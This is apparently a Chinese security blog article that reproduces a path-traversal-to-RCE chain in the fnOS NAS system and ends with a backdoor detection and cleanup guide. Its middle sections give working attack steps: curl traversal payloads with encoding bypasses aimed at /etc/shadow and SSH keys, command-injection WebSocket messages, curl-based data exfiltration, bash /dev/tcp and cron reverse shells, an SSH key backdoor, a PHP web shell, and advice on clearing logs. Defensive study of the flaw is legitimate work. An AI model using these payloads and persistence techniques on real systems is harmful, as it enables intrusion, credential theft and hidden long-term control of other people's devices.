飞牛fnOS高危漏洞链剖析：从目录遍历到RCE的攻防实战 1. 项目概述一次对飞牛fnOS安全漏洞的深度剖析与实战最近在安全研究圈子里飞牛fnOS的一个高危漏洞组合包被讨论得挺热。这个组合包听起来就挺“刺激”从目录遍历到远程命令执行再到后门清理几乎是一条龙服务。我花了些时间在可控的测试环境中对这个漏洞链进行了完整的复现和分析。这篇文章我就以一个安全从业者的视角带你走一遍这个流程。我们不仅要知道漏洞怎么利用更重要的是理解它为什么会产生以及作为系统管理员或安全人员我们该如何检测、防御和清理。飞牛fnOS作为一个新兴的NAS/轻量级服务器系统其安全问题值得所有使用者尤其是那些将其部署在公网或用于存放敏感数据的用户高度警惕。这个漏洞的核心简单来说是系统的一个名为app-center-static的组件出了问题。它本意可能是为了方便应用中心管理静态资源但在实现上却犯了一个经典错误没有对用户传入的路径参数进行严格的过滤和校验。攻击者通过构造特殊的路径比如包含../这样的目录回溯符就能让系统读取到本不应该被访问的敏感文件比如/etc/passwd、/etc/shadow、SSH私钥、数据库配置文件等等。这仅仅是第一步。更危险的是后续的利用链可能允许攻击者通过WebSocket等接口注入并执行任意系统命令从而在服务器上植入后门完全控制设备。所以这篇文章适合谁看如果你是飞牛fnOS的用户正在担心自己的数据安全你可以通过本文了解风险所在和加固方法。如果你是安全爱好者或从业者想学习一个真实的、从信息泄露到权限提升的漏洞利用案例这里提供了一个完整的分析框架和实操记录。当然所有操作都请在你自己拥有完全控制权的测试环境中进行切勿对任何未经授权的系统进行测试。2. 漏洞原理深度拆解为什么一个静态资源接口会酿成大祸要理解这个漏洞我们得先看看app-center-static这个组件是干什么的。在类似飞牛fnOS这样的集成化系统中通常有一个应用中心用于管理Docker容器、各种服务的安装和配置。这个应用中心的前端界面需要加载一些图标、图片、说明文档等静态资源。app-center-static很可能就是负责提供这些静态文件访问的HTTP接口。2.1 目录遍历漏洞的根源路径拼接与校验缺失一个健康的静态文件服务其工作流程应该是前端请求一个已知的、位于安全目录下的资源路径例如/static/apps/nginx/icon.png。后端接收到这个路径后会将其与一个预设的、安全的根目录比如/var/www/app-center/static/进行拼接形成完整的文件系统路径然后读取文件内容返回给前端。漏洞就出在这个“拼接”和“校验”环节。一个存在缺陷的实现可能是这样的以伪代码示意# 危险示例未做任何过滤 requested_path request.get_parameter(file) # 例如用户传入 ../../../../etc/passwd base_dir /var/www/app-center/static/ full_path os.path.join(base_dir, requested_path) return send_file(full_path)os.path.join在遇到以/开头的路径时会将其视为绝对路径但更常见的问题是遇到../。当requested_path包含../时os.path.join生成的full_path可能会“逃逸”出base_dir设定的安全范围。例如../../../etc/passwd经过拼接可能就指向了系统的/etc/passwd文件。正确的做法应该是规范化路径使用os.path.normpath处理路径但注意这并不能完全解决../问题。绝对路径校验将拼接后的完整路径转换为绝对路径然后检查这个绝对路径是否以安全根目录的绝对路径开头。# 安全示例进行路径遍历检查 requested_path request.get_parameter(file) base_dir os.path.abspath(/var/www/app-center/static/) # 防止空字节等注入 requested_path requested_path.replace(\x00, ) # 拼接路径 full_path os.path.join(base_dir, requested_path) full_path os.path.normpath(full_path) # 关键检查确保最终路径仍在基目录下 if not os.path.abspath(full_path).startswith(base_dir): return Access Denied, 403 if not os.path.isfile(full_path): return File Not Found, 404 return send_file(full_path)从网络信息看飞牛fnOS在受影响版本中缺失了上述最关键的安全性检查导致了经典的目录遍历漏洞Path Traversal。2.2 从信息泄露到命令执行漏洞链的形成读取到敏感文件如包含数据库密码的配置文件、包含密钥的私密文件本身已经是高危事件。但攻击者的目标往往是获得更高的权限比如执行任意命令。根据信息这个漏洞链的下一步可能涉及WebSocket接口。WebSocket是一种全双工通信协议常用于需要实时交互的Web应用。飞牛fnOS的管理界面可能使用WebSocket来接收用户指令并动态返回应用安装状态、容器日志等信息。如果这个WebSocket接口在处理客户端发送的消息时未经充分过滤就直接拼接成系统命令并执行就会造成远程命令执行RCE漏洞。一个可能的攻击场景是攻击者利用app-center-static的目录遍历读取到了系统的某个配置文件其中包含了连接其他服务如数据库、Redis的密码。攻击者进一步遍历可能发现了WebSocket服务处理逻辑所在的脚本文件分析其命令拼接方式。攻击者构造特殊的WebSocket消息其中包含管道符|、命令替换符\或分号;等将恶意系统命令“注入”到正常的业务流程中。后端程序未加过滤地执行了拼接后的命令导致攻击者的恶意代码以Web服务进程的权限可能是root或高权限用户运行。至此攻击者就从一个简单的文件读取升级到了在目标系统上执行任意命令实现了权限提升和完全控制。注意这里对WebSocket RCE的推测是基于常见的漏洞模式。在实际分析中需要反编译或审计相关二进制文件/脚本才能确定具体的触发点。但无论如何目录遍历为攻击者提供了宝贵的信息搜集渠道是打通后续利用链的关键第一步。3. 实战复现环境搭建与前期信息搜集在开始任何安全测试之前搭建一个与目标环境尽可能一致的、隔离的测试环境是首要且必须的步骤。这不仅是为了合法合规也是为了能稳定、反复地验证漏洞细节。3.1 搭建受影响的飞牛fnOS测试环境根据漏洞信息受影响的版本是小于1.1.15的飞牛fnOS。我们需要获取这个版本的安装镜像。寻找安装介质可以通过官方历史版本发布页面、开源镜像站或技术社区寻找fnOS 1.1.14或更早版本的安装镜像如ISO文件或IMG刷机包。例如针对热词中提到的“斐讯N1刷飞牛NAS”我们可能需要寻找适配N1盒子的Armbian架构的旧版本fnOS镜像。选择虚拟化平台为了便捷和可快照建议在VMware Workstation、VirtualBox或KVM上创建虚拟机进行安装。确保为虚拟机分配足够的资源建议至少2核CPU、4GB内存、50GB存储。安装系统按照飞牛fnOS的常规安装流程进行。通常过程是从镜像启动 - 选择安装磁盘 - 设置网络和管理员密码 - 完成安装并重启。确认版本系统安装完成后通过Web管理界面或SSH登录使用命令如fnos-version或查看/etc/os-release等文件确认系统版本号确实在受影响范围内如1.1.14。3.2 信息搜集与漏洞初步探测在发起攻击之前我们需要像攻击者一样搜集信息。假设我们只知道目标是一个飞牛fnOS但不知道其具体IP和开放服务。网络发现使用nmap进行同网段扫描寻找开放80/443端口的设备。nmap -sS -p 80,443 192.168.1.0/24发现目标IP后进行更全面的端口扫描和服务识别。nmap -sV -sC -O -p- target_ip这能帮助我们了解目标开放了哪些端口如22/SSH, 80/HTTP, 443/HTTPS, 还有可能是WebSocket使用的端口如8080等以及运行的服务和版本。Web应用指纹识别访问目标的HTTP/HTTPS管理界面。通过浏览器开发者工具F12查看网络请求、响应头、Cookie、HTML源码中的注释等可以收集到大量信息。响应头查看Server、X-Powered-By等字段可能直接暴露fnOS或底层Web框架如Nginx, OpenResty的信息。前端源码查看JS文件、CSS文件中的路径、注释、版本信息。搜索“fnOS”、“app-center”等关键词。目录/文件猜测尝试访问一些常见路径如/admin,/api,/static,/app,/app-center等。使用dirsearch或gobuster等工具进行目录爆破会更高效。gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt -x php,txt,json定位漏洞端点根据漏洞描述关键端点是app-center-static。我们需要找到它的完整访问路径。通过目录扫描或分析前端JS对静态资源的请求我们可能会发现类似以下的请求模式GET /api/v1/app-center-static?fileapps/nginx/icon.png或者GET /app/static/../app-center-static?pathsomefile具体路径需要在实际探测中确定。一旦发现了疑似端点就可以开始测试目录遍历。4. 漏洞利用实操从目录遍历到命令执行在确认了目标版本和漏洞端点后我们就可以开始尝试利用漏洞了。4.1 利用目录遍历读取敏感文件假设我们通过信息搜集确定了漏洞接口的URL为http://target_ip/api/app/static并且它接受一个file或path参数。基础遍历测试首先尝试最简单的../遍历读取Linux系统下众所周知的文件/etc/passwd。curl -v http://target_ip/api/app/static?file../../../../etc/passwd或者使用浏览器直接访问该URL。如果返回了/etc/passwd文件的内容则漏洞确认存在。编码绕过尝试如果直接使用../被拦截或过滤可以尝试URL编码、双重编码等绕过方式。URL编码../-%2e%2e%2f或..%2f-%2e%2e%252f双重URL编码../-%2e%2e%2f-%252e%252e%252fcurl -v http://target_ip/api/app/static?file%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd关键敏感文件读取成功验证漏洞后就可以系统地读取可能包含敏感信息的文件为后续攻击做准备/etc/passwd查看系统用户列表。/etc/shadow极高危包含用户密码哈希。如果能读到这个离破解密码就不远了。/root/.ssh/id_rsaroot用户的SSH私钥。如果存在且未加密可直接用于SSH登录。/home/username/.ssh/id_rsa其他用户的SSH私钥。/etc/fnos/config.yaml或类似路径飞牛fnOS的主配置文件可能包含数据库密码、API密钥等。Web应用配置文件如位于/var/www/或/opt/fnos/下的config.php,.env,application.properties等。数据库连接文件查找包含mysql_connect,mysqli,PDO等字符串的文件。日志文件如/var/log/fnos/app-center.log可能记录错误信息甚至明文密码。实操心得在读取文件时注意观察文件大小。如果请求一个超大文件如日志可能会导致请求超时或进程卡死。对于不确定的文件可以先尝试用head -c 100的命令注入如果后续有RCE或者通过遍历读取前几行内容来判断其价值。4.2 探索命令执行漏洞点在获取了足够多的系统信息后下一步就是寻找命令执行的机会。根据信息这可能与WebSocket接口有关。寻找WebSocket端点再次使用浏览器开发者工具在飞牛fnOS的Web管理界面进行操作如点击安装应用、查看容器日志同时观察“网络”标签页中的WS (WebSocket) 连接。通常会看到ws://或wss://开头的连接。记下这个WebSocket服务器的地址。分析WebSocket通信使用浏览器插件如“WebSocket King”或命令行工具如wscat连接到该WebSocket端点观察正常的通信数据格式。消息很可能是JSON格式包含action、data等字段。wscat -c ws://target_ip:port/ws Connected... {action: get_app_status, app_id: nginx} {status: running, log: ...}尝试命令注入在理解了正常消息格式后尝试在看似可控的参数中注入命令。例如如果app_id或log_path参数被直接拼接到shell命令中就可能存在注入。猜测性注入发送如下的消息{action: install_app, app_id: nginx; id; echo}或者利用反引号或$()进行命令替换{action: get_log, log_path: /var/log/$(whoami).log}盲注测试如果命令执行没有回显可以尝试使用时间延迟sleep 5或DNS外带curl http://your-domain.com/$(whoami)来判断注入是否成功。重要注意事项这一步需要极大的耐心和技巧并且高度依赖于目标系统的具体实现。在没有源代码的情况下这更像是一种基于经验的“黑盒”模糊测试。成功与否存在不确定性。在实际的漏洞披露中研究员通常已经通过代码审计找到了确切的注入点。4.3 建立持久化后门假设我们通过WebSocket注入成功执行了命令并且获取了root或www-data等具有一定权限的shell。下一步就是在目标系统上建立一个持久的、隐蔽的后门以便随时可以回来。反向Shell最直接的方式是让目标机器主动连接我们的监听服务器。在攻击机上启动监听nc -lvnp 4444在目标机上通过漏洞执行bash -c bash -i /dev/tcp/your_ip/4444 01或者使用其他语言python, perl, php的一行命令反弹shell。创建SSH后门如果目标系统有ssh服务且我们读取到了/root/.ssh/authorized_keys的写入权限可以直接将我们的公钥追加进去。echo ssh-rsa AAAAB3NzaC1yc2E... your_public_key /root/.ssh/authorized_keys如果没有权限可以尝试在/etc/ssh/sshd_config中添加一个允许空密码的root用户或者修改PermitRootLogin为yes然后重启ssh服务动静较大容易被发现。计划任务Cron添加一个每分钟或每几分钟连接一次攻击机的计划任务作为保底连接。(crontab -l 2/dev/null; echo * * * * * /bin/bash -c exec 9 /dev/tcp/your_ip/5555 exec 09 exec 19 21 /bin/bash --noprofile -i) | crontab -隐蔽的Web后门在Web目录下写入一个一句话木马如PHP、JSP通过Web访问来执行命令。这种方式更隐蔽适合在Web权限下持久化。echo ?php system($_GET[cmd]); ? /var/www/html/fnos/static/.shell.php访问http://target_ip/static/.shell.php?cmdid即可执行命令。清理痕迹在植入后门前务必检查当前用户的history命令记录并考虑清理相关日志如/var/log/auth.log,~/.bash_history, Web访问日志但这本身也会留下日志删除的记录需要权衡。5. 后门检测与系统清理指南如果你是飞牛fnOS的系统管理员在得知此漏洞后第一要务是立即升级系统到最新安全版本1.1.15及以上。官方在修复版本中应该已经修补了app-center-static的路径校验逻辑和WebSocket接口的命令注入问题。升级是根除漏洞最有效的方法。升级之后你必须假设系统可能已经被入侵需要进行全面的后门检测和清理。这是一项细致且重要的工作。5.1 后门检测排查清单检查异常用户和权限cat /etc/passwd查看是否有新增的陌生用户特别是UID为0root的非标准用户。cat /etc/shadow检查是否有用户密码被清空::或修改。sudo -l查看当前用户有哪些sudo权限。find / -perm -4000 -type f 2/dev/null查找所有SUID文件攻击者可能设置了SUID位的后门程序。检查网络连接与监听端口netstat -tulnp或ss -tulnp查看所有网络连接和监听端口。重点关注不熟悉的、非标准端口上的监听服务。lsof -i查看所有网络连接对应的进程。对比ps auxf或top中的进程列表与已知的正常进程树寻找异常进程。检查计划任务和服务crontab -u root -l以及crontab -u www-data -l等检查各用户的计划任务。ls -la /etc/cron.*检查系统计划任务目录。systemctl list-units --typeservice --staterunning查看运行中的服务警惕陌生的服务名。ls -la /etc/systemd/system/和/lib/systemd/system/检查是否有恶意添加的service文件。检查SSH相关配置与密钥cat /root/.ssh/authorized_keys以及/home/*/.ssh/authorized_keys检查是否有未授权的公钥。cat /etc/ssh/sshd_config检查是否有不安全的配置被修改如PermitRootLogin yes,PasswordAuthentication yes如果之前是no等。检查Web目录和临时文件在Web根目录如/var/www/html,/opt/fnos/www及其子目录中查找最近修改的、可疑的PHP、JSP、ASP等脚本文件特别是隐藏文件以.开头或名称奇怪的文件。find /var/www/ -type f \( -name *.php -o -name *.jsp -o -name *.war \) -mtime -7 -ls检查/tmp、/dev/shm等临时目录下是否有可疑的可执行文件或脚本。检查系统日志虽然攻击者可能删除了日志但仍需检查。last和lastb查看登录记录。grep -i accepted\|failed\|invalid /var/log/auth.log(或/var/log/secure)。journalctl -u ssh --since 2024-01-01 --until 2024-01-02查看特定服务的日志。5.2 系统清理与加固步骤如果发现了确凿的后门迹象最彻底的方法是备份重要数据然后重装系统。如果无法重装则需进行手动清理。隔离与断网在开始清理前将受感染主机从生产网络中断开防止其在清理过程中继续对外攻击或泄露数据。清除已确认的后门删除恶意用户userdel malicious_user。删除恶意SSH公钥编辑authorized_keys文件。删除恶意计划任务编辑crontab或删除/etc/cron.*下的恶意文件。停止并禁用恶意服务systemctl stop malicious_service和systemctl disable malicious_service然后删除对应的service文件。删除Web后门文件。删除SUID后门程序。重置密码和密钥重置所有用户尤其是root和具有sudo权限的用户的密码。重置SSH主机密钥rm /etc/ssh/ssh_host_*然后运行dpkg-reconfigure openssh-server或ssh-keygen -A重新生成。如果数据库等服务的密码可能已泄露务必一并更改。系统加固最小化网络暴露关闭不必要的端口和服务。如果飞牛fnOS仅在内网使用确保其管理界面不暴露在公网。强化身份验证禁用SSH的root登录和密码登录改用密钥认证。修改SSH默认端口。定期更新建立定期更新系统的机制及时应用安全补丁。文件完整性监控考虑使用工具如aide或tripwire对关键系统文件和目录建立基线监控其变化。入侵检测部署主机层面的入侵检测系统HIDS如osquery或商业EDR产品。最后也是最关键的一点安全是一个持续的过程而非一次性的任务。在清理完成后需要持续监控系统状态并反思安全运维流程中的不足才能有效抵御未来的威胁。对于个人用户最简单有效的安全法则就是非必要不公网暴露保持系统更新至最新版本。